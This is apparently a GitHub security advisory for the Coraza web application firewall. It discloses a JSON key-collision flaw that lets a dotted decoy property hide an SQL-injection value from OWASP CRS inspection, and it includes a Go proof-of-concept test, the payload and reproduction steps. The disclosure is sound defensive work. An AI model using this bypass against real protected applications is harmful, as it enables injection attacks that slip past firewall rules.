Summary
Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection
Advisory details
Summary
Coraza's JSON body processor converts nested JSON properties into dot-separated ARGS_POST names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable
An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:
{
"account": {
"role": "1' OR '1'='1"
},
"account.role": "safe"
}
Coraza stores both properties as ARGS_POST:json.account.role; the later value safe replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as account.role.
This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule 949110. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.
Details
The affected component is the JSON body processor in internal/bodyprocessors/json.go.
readJSON creates a single map[string]string and begins every generated path with json:
func readJSON(s string, maxRecursion int) (map[string]string, error) {
res := make(map[string]string)
key := []byte("json")
json := gjson.Parse(s)
err := readItems(json, key, maxRecursion, res)
// ...
}
Source: internal/bodyprocessors/json.go, lines 81-94.
For every object level, readItems appends a literal dot followed by the unescaped property name:
prevParentLength := len(objKey)
objKey = append(objKey, '.')
if key.Type == gjson.String {
objKey = append(objKey, key.Str...)
}
Source: internal/bodyprocessors/json.go, lines 111-120.
Scalar values are stored in the map using the resulting flattened string:
res[string(objKey)] = val
Source: internal/bodyprocessors/json.go, lines 122-145.
This produces a collision:
Nested property: {"account":{"role":"ATTACK"}}
Generated Coraza key: json.account.role
Literal dotted key: {"account.role":"SAFE"}
Generated Coraza key: json.account.role
Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary ARGS_POST collection.
ProcessRequest subsequently copies only the final map entries into ARGS_POST:
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit)
for key, value := range data {
col.SetIndex(key, 0, value)
}
Source: internal/bodyprocessors/json.go, lines 29-39.
The JSON remains valid, so Coraza does not set REQBODY_ERROR. A normal backend parser does not flatten property names and therefore keeps the nested account.role value separate from the literal top-level "account.role" property.
Coraza's recommended configuration enables JSON processing, and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.
The bypass was reproduced against CRS v4.25 under all of the following configurations:
- Default build
coraza.no_memoizecoraza.rule.multiphase_evaluationcoraza.rule.no_regex_multiline
PoC
The PoC uses Coraza's existing CRS regression module and its pinned github.com/corazawaf/coraza-coreruleset/v4 dependency. It proves three facts:
CRS blocks the malicious nested value when no collision exists.
The dotted decoy makes the same CRS configuration permit the request.
Go's standard JSON parser still exposes the malicious nested value to the backend.
Save the following file as
testing/coreruleset/json_collision_security_test.go:
package coreruleset
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/corazawaf/coraza/v3"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
)
func TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {
recommended, err := os.ReadFile(
filepath.Join("..", "..", "coraza.conf-recommended"),
)
if err != nil {
t.Fatal(err)
}
cfg := coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(string(recommended)).
WithDirectives("SecRuleEngine On").
WithDirectives("Include @crs-setup.conf.example").
WithDirectives("Include @owasp_crs/*.conf")
waf, err := coraza.NewWAF(cfg)
if err != nil {
t.Fatal(err)
}
tests := []struct {
name string
body string
wantBlock bool
}{
{
name: "attack without collision is blocked",
body: `{"account":{"role":"1' OR '1'='1"}}`,
wantBlock: true,
},
{
name: "same attack with dotted decoy bypasses CRS",
body: `{"account":{"role":"1' OR '1'='1"},` +
`"account.role":"safe"}`,
wantBlock: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Prove what a normal backend sees before running Coraza.
var backend struct {
Account struct {
Role string `json:"role"`
} `json:"account"`
}
if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {
t.Fatal(err)
}
if backend.Account.Role != "1' OR '1'='1" {
t.Fatalf("backend lost attack value: %q", backend.Account.Role)
}
tx := waf.NewTransaction()
defer tx.Close()
tx.ProcessConnection("127.0.0.1", 12345, "127.0.0.1", 80)
tx.ProcessURI("/", "POST", "HTTP/1.1")
tx.AddRequestHeader("Host", "localhost")
tx.AddRequestHeader("User-Agent", "security-test")
tx.AddRequestHeader("Content-Type", "application/json")
if interruption := tx.ProcessRequestHeaders(); interruption != nil {
t.Fatalf("unexpected header interruption: %#v", interruption)
}
interruption, _, err := tx.WriteRequestBody([]byte(tt.body))
if err != nil || interruption != nil {
t.Fatalf("body write: interruption=%#v error=%v", interruption, err)
}
interruption, err = tx.ProcessRequestBody()
if err != nil {
t.Fatal(err)
}
blocked := interruption != nil
t.Logf("blocked=%v interruption=%#v", blocked, interruption)
if blocked != tt.wantBlock {
t.Fatalf("blocked=%v, want %v", blocked, tt.wantBlock)
}
})
}
}
- Run the default-build test:
cd testing/coreruleset
go test -run TestJSONFlattenedKeyCollisionBypassesCRS -v
- Expected reproduction output:
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked
blocked=true interruption=&types.Interrupt
References
- https://github.com/advisories/GHSA-5gj4-9gm7-2fx2
- https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2
- https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf
- https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a
- https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a
- https://github.com/corazawaf/coraza/releases/tag/v3.8.1
Related vulnerabilities
All Supply chain →- MEDIUMGHSA-w253-m66g-rx24
Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection
- MEDIUMGHSA-3wr7-993q-jrff
Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules
- MEDIUMCVE-2026-107825
Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations
- MEDIUMGHSA-g57g-f23g-4646
Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsing
- MEDIUMGHSA-wmmp-3585-3rmp
Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain
- MEDIUMGHSA-cc9r-2j5m-2m83
Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain